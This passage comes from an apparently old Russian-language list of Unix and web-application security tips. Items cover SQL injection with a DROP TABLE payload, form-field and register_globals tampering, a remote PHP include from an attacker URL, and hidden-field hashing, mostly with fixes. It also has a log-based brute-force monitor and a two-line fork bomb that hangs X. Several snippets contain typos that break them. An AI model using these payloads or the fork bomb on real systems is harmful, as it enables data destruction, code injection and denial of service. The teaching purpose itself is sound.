system "ls $file";
```

не приведет к успеху, поскольку в переменной `$file` используются данные, полученные извне CGI-программы. Мы получим следующее сообщение об ошибке.

```
Insecure dependency in system while running with -T switch at test.cgi
```

Единственным способом применения переменной `$file` остается предварительная проверка получаемых данных.

116. Неудачно созданные SQL-запросы. Например, рассмотрим следующий Perl-код.

```
$sth->prepare("INSERT INTO data (name) VALUES('$name')");
$sth->execute();
```

Можно отправить программе специально подготовленные данные, и функция $name приобретет следующее значение.

```
Joe'); DROP TABLE data; INSERT INTO foo (bar) VALUES ('baz
```

В результате функция prepare приобретет такой вид.

```
$sth->prepare("INSERT INTO data (name) VALUES ('Joe'); DROP TABLE data; INSERT INTO
foo (bar) VALUES ('baz')");
```

В примере показано, что можно удалить таблицу data и добавить подложные данные в таблицу foo.
Модуль DBI позволяет позиционные параметры. Это означает, что вместо действительного значения переменной можно использовать символ вопросительного знака в качестве универсального символа. Затем действительные значения передаются как аргументы метода execute(). Таким образом, приведенную выше уязвимую операцию добавления имени в SQL-таблицу можно реализовать следующим образом.

```
$sth->prepare("INSERT INTO data (name) VALUES (?)");
$sth->execute($name);
```

При выполнении запроса вместо вопросительного знака используется значение переменной `$name`. Оно указано как параметр для функции execute. В языке SQL символы наподобие ; не обрабатывабтся как специальные символы, то есть точка с запятой не будет определяться как разделитель команд.
Если необходимо использовать несколько значений, просто добавьте соответствующее значение вопросительных знаков. Вместо них по порядку будут использованы значения переменных, указанных в виде параметров функции `execute()`.

```
$sth->prepare("INSERT INTO data (name, age, phone) VALUES (?, ?, ?)");
$sth->execute($name, $age, $phone);
```

Использование позиционных параметров допустимо для всех SQL-функций, которым можно передать аргументы, например для функций INSERT и SELECT.
В языке MySQL обычно не разрешается последовательная запись SQL-операторов через точку с запятой, то есть описанная атака не причинит ущерба базам данных MySQL.

117. Никогда не стоит предполагать, что в получаемой от пользователя форме будут содержаться только какие-то определенные поля и ничего лишнего. Ниже приведен пример кода несложной HTML-страницы, который позволяет создать форму и передавать введенные данные CGI-программе.

```
<html><head><title>Bad Example</title></head>
<body>Example
```

```
<form action="/cgi-bin/example.cgi">
Name: <input type="text" name="name"><br>
Phone: <input type="text" name="phone"><br>
<input type="submit">
</form></body></html>
```

В данном случае, если автор CGI-программы предполагает, что он будет получать данные только полей name и phone, то он рискует допустить большую ошибку. Ведь можно запустить сценарий example.cgi с помощью других или дополнительных полей.
1. Запустить CGI-программу с помощью GET-запроса или указать сооиветствующие пары имя/значение в поле Адрес (Location) браузера.

```
http:/localhost/cgi-bin/example.cgi?name=John&phone=1234567&data=bad+data
```

2. Запустить CGI-сценарий, организовав telnet-соединение из командного интерпретатора.

```
user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'
GET /cgi-bin/example.cgi?name=John&phone=1234567&data=bad+data
HTTP/1.0
```

3. Использовать отдельную программу для организации POST-соединения.

```
#!/usr/bin/perl -W

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
my $req = POST 'http://localhost/cgi-bin/example.cgi',
            [ name => 'John', phone => '310.545.1214',
              data => 'bad data' ];
$content = $ua->request($reg)->as_string;
print $content;
```

Теперь же рассмотрим пример крайне неудачного Perl-кода. В данном случае переменные создаются по имени поля: данные поля name будут сохранены в переменной $name, а phone - в переменной $phone.

```
$params = $query->param();
foreach $param (@params)
      {
      ${$param} = $query->param($param);
      }
```

В этом случае можно создать любую нужную переменную, просто добавив поле в строку запроса, отправляемую Web-серверу.

```
http://www.server.com/cgi-bin/program.cgi?new_var=test
```

Предположим, что программа program.cgi использует переменную $SEND_MAIL, где обычно указывается место хранения программы sendmail (как правило, /usr/sbin/sendmail). Чтобы использовать другую программу для отправки почты (или ввести свою для ее перехвата), достаточно ввести следующую строку для запроса.

```
http://www.server.com/cgi-bin/program.cgi?SEND_MAIL=program
```

Подобный Perl-код присутствует в одном бесплатно распространяемом сценарии. Для решения этой проблемы необходимо перечислить ожидаемые поля по их именам.

```
foreach $param ('name', 'phone')
      {
      ${$param} = $guery->param($param);
      }
```

Или лучше так.

```
$name = $query->param('name');
$phone = $query->param('phone');
```

118. Скрытые поля часто используются для отправки информации от сервера к клиенту и затем опять к серверу. Информация скрытых полей размещается в дескрипторах формы, но не отображается в окне браузера, но ее без труда можно узнать, просмотрев исходный код страницы.

```
<html><head><title>Hidden Field</title></head>
<body>Hidden Field
<form action="/cgi-bin/program2.cgi">
Name: <input type="text" name="name"><br>
Phone: <input type="text" name="phone"><br>
<input type="hidden" name="product" value="SuperTovar">
<input type="hidden" name="price" value="10000">
<input type="submit">
</form></body></html>
```

Чтобы гарантировать, что данные скрытых полей остались неизменными, следует использовать алгоритм хеширования MD5. В данном случае у нас есть название SuperTovar и цена 10000. Добавим еще хотя бы одно секретное значение, "сольем" три слова в одно и получим хеш.

```
#!/usr/bin/perl -W

use Digest::MD5 qw( md5_base64 );

$passphrase = 'A VERY difficult to guess passphrase';
$product    = 'SuperTovar';
$price      = '10000';

$digest = md5_base64($product, Sprice, $passphrase);

print $digest,"\n:;
```

Выполнение этой программы даст следующий результат.

```
user$ ./md5.pl
r5T5gRgEDgr6EWgRwRR36G
```

Созданный хеш можно добавить в форму как скрытое поле.

```
<input type="hidden" name="digest" value="r5T5gRgEDgr6EWgRwRR36G">
```

Теперь если хеш, сгенерированный этой функцией, будет совпадать с дайджестом, полученным из формы, скрытые поля формы не изменены.

119. Допустим, мы решили, что имя пользователя не будет превышать 40 символов. А программа, записывающая имя в файл, использует функцию `prinf("%40s, name)`. Если имя будет иметь длину больше 40 символов, то `pintf()` затрет данные в следующем поле. Таким образом, можно нанести значительный ущерб, если в следующем поле будет храниться зашифрованный пароль или другая важная информация.
Или, например, при записи данных в базу данных SQL, разрешено вносить произвольное количесто символов, и вносится имя размером 10 МБ. Или программа написана на языке C - тогда, используя имя длиной более 40 символов, возможно переполнение буфера.

Всегда необходимо выполнять проверку длины получаемой строки данных. При привышении предельного значения должно быть выдано сообщение об ошибке или лишние данные должны быть отброшены.

```
if (length($posted_data) <= 40)
      {
      process();
      }
else
      {
      complain();
      }
```

120. Представим, у нас есть некая веб-форма. Если данные формы передаются PHP-программе, то PHP автоматически создает глобальные переменные, имя которых будет совпадать с именем элемента формы (с добавлением впереди знака доллара). Например:

```
<form action="/insecure/program.php">
Name: <input type="text" name="name"> <br>
Age: <input type="text" name="age">
</form>
```

Когда эта форма передается программе, то автоматически создаются две переменные, которым присваиваются значения `$name` и `$age`. На первый взгляд это удобно. Однако не все так безоблачно.

```
if (authenticate_user())
      {
      $authenticated = true;
      }
...
if ($authenticated)
      {
      ... work ...
      }
```

При положительном результате (аутентификация пользователя), переменной `$authenicated` присваивается значение true. Позднее значение этой переменной проверяется, и если оно равно true, выполняется какое-то важное действие. Если этой программе отослать строку с параметром authenicated, которому присвоено значение true (program.php?authenicated=true).
Даже если функция `authenicate_user()` не будет выполнена и вернет значение false, переменная `$authenicated` все равно будет хранить значение true.
Для отключения этой "полезной" возможности на всем Web-сайте добавьте следующую строку в файл `httpd.conf`.

```
php_flag register_globals Off
```

Отключение этой возможности в конкретном каталоге выполняется так.

```
<Directory /usr/local/apache/htdocs/secure>
      php_flag register_globals Off
</Directory>
```

121. Следует обеспечивать безопасность при получении данных, отправляемых пользователем PHP-программе. Для этой цели при использовании версии PHP старше 4.1.0 можно применять следующие переменные:

- `$_GET` - для получения данных программой используется метод GET;
- `$_POST` - для получения данных программой используется метод POST;
- `$_REQUEST` - объединение методов GET и POST.

Значения этих переменных автоматически устанавливаются PHP-интерпретатором исходя из отправленных клиентом данных. Таким образом, для получения от клиента данных по методу GET можно использовать код

```
$name = $_GET["name"];
$age  = $_GET["age"];
```

или

```
$name = $_REQUEST["name"];
$age  = $_REQUEST["age"];
```

122. Для функций PHP-файлов, например, `include()`, допускается использование в виде аргументов ссылок URL. Если функция `include()` передает URL, то она обратится в Internet для получения значения этого аргумента. Например, рассмотрим строку файла `insecure.php`

```
include("$includedir/file.php");
```

Кто угодно может легко установить нужное ему значение переменной `$includedir`.
http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php
При выполнении сценария insecure.php выполняется обращение по адресу http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php и запускается указанный файл. Так можно передать любой исходный код PHP на www.example.com.
Для рассмотренного примера не стоит использовать переменную $includedir. Вместо этого задайте полное имя файла.

```
include("/usr/local/apache/php_includes/file.php");
```

Как уже было сказано, используйте переменные $_GET, $_POST и $_REQUEST для PHP, начиная с версии 4.0 (или $HTTP_GET_VARS и $HTTP_POST_VARS).

123. Две "убийственные" строчки, вешающие X Window в linux. Испробовано на ядре 2.4.x

```
#!/bin/sh
$0 & $0 &
```

Делаем файл исполняемым (`chmod 755 somefile`) и запускаем из-под стандартного пользователя. Иксы висят. Проблема еще и в том, что в большинстве "пользовательских" linux-машин для запуска данного файла достаточно на нем кликнуть мышкой.

124. У стандартной утилиты `login` присутствует возможность увеличивать время задержки при неправильном вводе аутентификационных данных. Эта функция полезна тем, что замедляет `bruteforce`-атаку. Если говорить о `mod_auth` Apache - там этого нет. В качестве "компенсации" можно следить за лог-файлами. Ниже приведен скрипт, в реальном времени осуществляющий контроль атаки типа wwwhack. Единственное ограничение - он скорее всего не спасет, если подбор идет с нескольких компьютеров или через постоянно меняющиеся прокси.

```
#!/usr/bin/perl -w

# httprot.pl, "request for comments" version
# run as: tail -f /usr/local/apache/logs/access_log | ./ httprot.pl

# Configuration starts here

# for "combined" apache log format, unauthorized request
my $AUTH_REQ='^([^ ]+) ([^ ]+) ([^ ]+) \[([^\]]+)\] "([^"]+)" 401';
#                host   ident   user      date      request   authrequired
```

```
my $threshold=5;        # allow $threshold unauthorized requests
my $interval=5;         # within $interval seconds without alerting

my $syslog_facility='auth';     # when alerting, use these
my $syslog_priority='alert';    # facility and priority

# Configuration finishes here

use strict;
use Date::Parse;
use Date::Format;
use Sys::Syslog;

my %hit=();
my %sum=();
my ($host,$date,$time,$request);

openlog("httprot","pid",$syslog_facility);

$SIG{INFO}=\&print_hit;
$SIG{ALRM}=\&cleanup;
alarm $interval;

# main loop

while(<>) {
  chomp;
  next unless /$AUTH_REQ/;

  $host=$1;
  $date=$4;
  $time=str2time($date);
  $request=$5;

  # $hit{$time}{$host} is number of bad requests from $host
  # within second numbered $time ("unixtime")
  if(defined($hit{$time})) { $hit{$time}{$host}++; }
  else { $hit{$time}{$host}=1; }

  # $sum{$time}{$host} is number of bad requests from $host
  # within last $interval sec (roughly)
  if(defined($sum{$host})) { $sum{$host}++; }
  else { $sum{$host}=1; }

  &block if($sum{$host}>=$threshold);
        }

# for testing purposes: hit Ctrl-t to see current stats
sub print_hit {
  my $rest=alarm(0);    # avoid race condition with SIGALRM
                        # and try to reduce time leak...
  print "Current state:\n";
  my ($time,$host);
  my %list;
  foreach $time (keys(%hit)) {
    print time2str('%x %T',$time),":\n";
    %list=%{$hit{$time}};
    foreach $host (keys(%list)) {
      printf "\t$host: $hit{$time}->{$host}\n";
    }
  }
  print "Summary:\n";
  foreach $host (keys(%sum)) {
    print "$host: $sum{$host}\n";
```

```
  }
  alarm($rest);                 # ...but will leak up to 1 second per SIGINFO
}

# free memory - throw away expired stats every $interval seconds
sub cleanup {
  my ($h,$s);
  my %hosts;
  my $limit=time()-$interval;
  foreach $s (keys(%hit)) {
    if($s<$limit) {             # entries older whan $limit have expired
      %hosts=%{$hit{$s}};
      foreach $h (keys(%hosts)) {           # correct sum when expiring stats
        $sum{$h}-=$hit{$s}->{$h};
        delete $sum{$h} unless $sum{$h}>0;  # free memory
      }
      delete $hit{$s};           # again, free memory
    }
  }
  alarm $interval;               # restart timer
}

# site dependent action; this example is harmless
sub block {
  syslog($syslog_priority,
    "$sum{$host} unauthorized requests from $host, last: $request");
}
```

125. Чтобы не быть захваченными врасплох, позаботьтесь о создании образцовых копий важных исполняемых файлов и библиотек Вашей операционной системы и запишите их на компакт диск. В случае компрометации компьютера можно с некоторой долей вероятности предполагать, что ранее записанные используемые программы выдают достоверную информацию. Может быть кому-то легче использовать LiveCD, только не всегда допустимо только из-за предположения выключать компьютер.
Например, сравним хэш файла `fstab` на двух компьютерах. Для этого на заведемо нескомпрометированном (IP 192.168.0.5) компьютере откроем какой-нибудь порт (8888) Лучше, если он не требует прав root). А на скомпроментированном выполним команду

```
root# /mnt/cdrom/md5sum /etc/fstab | /mnt/cdrom/nc 192.168.0.5 PORT -w 3
```

Также можно сверить хэш файла с базой данных на сайтах www.hashkeeper.org (для публичного доступа не доступен), www.nsrl.nist.gov, www.fish.com/fuck, www.knowngoods.org

126. При взломе машины (конечно абсурд, но все может быть) злоумышленник может запустить программу в background'e с целью прослушивания аутентификационных данных пользователей сети. Это выявляется простой командой `ifconfig`.

```
# ifconfig -a
     lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
              inet 127.0.0.1 netmask ff000000
    hme0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST> mtu 1500
              inet 192.0.2.99 netmask ffffff00 broadcast 192.0.2.255
              ether 8:0:20:9c:a2:98
```

Присутствующий во втором случае флага `PROMISC` свидетельствует о том, что интерфейс находится в режиме прослушивания. Для выявления снифферов можно воспользоваться программой AntiSniff (`http://www.l0pht.com/antisniff/`), Sentinel (`http://www.packetfactory.net/Projects/sentinel/`).

127. Практически во всех версиях UNIX введен "безопасный терминал". То есть можно разрешить входить в систему как root с определенных "безопасных терминалов".
Например, в SunOS, таблица терминалов хранится в файле `/etc/ttytab`

```
console  "/usr/etc/getty std.9600"  sun      off secure
ttya     "/usr/etc/getty std.9600"  unknown  off secure
ttyb     "/usr/etc/getty std.9600"  unknown  off secure
ttyp0    none                       network  off secure
```

Слово `secure` в конце каждой строки, говорит о том, что данный терминал можно считать безопасным. Теперь, чтобы войти как root скорее всего придется сначала получить доступ к пользовательскому аккаунту. А дальше с помощью команды `su` "пробовать" залогиниться root - по умолчанию в linux это могут делать все. Чтобы запретить этот бесрпедел и разрешить использовать команду `su` только пользователям группы `wheel` необходимо в файл `/etc/pam.d/su` добавить строку:

```
auth       required     /lib/security/pam_wheel.so use_uid
```

Если вы хотите, чтобы пользователи группы wheel авторизовывались без ввода пароля, добавьте строку

```
auth      sufficient    /lib/security/pam_wheel.so trust use_uid
```

Только учтите, что для разных систем пути могу быть разными. В данном примере - это Red Hat7.

128. Можно создать файл с именем, начинающимся с символа −. В этом случае будет затруднена манипуляция с ними из консоли. Например, создадим файл, потом попытаемся прочитать его содержимое и удалить.

```
user$ echo blah-blah >> -rty
user$ cat -rty
cat: ivalid option -- r
Попробуйте 'cat --help' для получения более подробного описания.
user$ rm -rty
rm: ivalid option -- r
Попробуйте 'rm --help' для получения более подробного описания.
```

Created by VIKToR

Помогали:

ADZ Projects - размещение статей на сайте http://adz.void.ru
Genie, fly4life - исправление ошибок и неточностей http://nixp.ru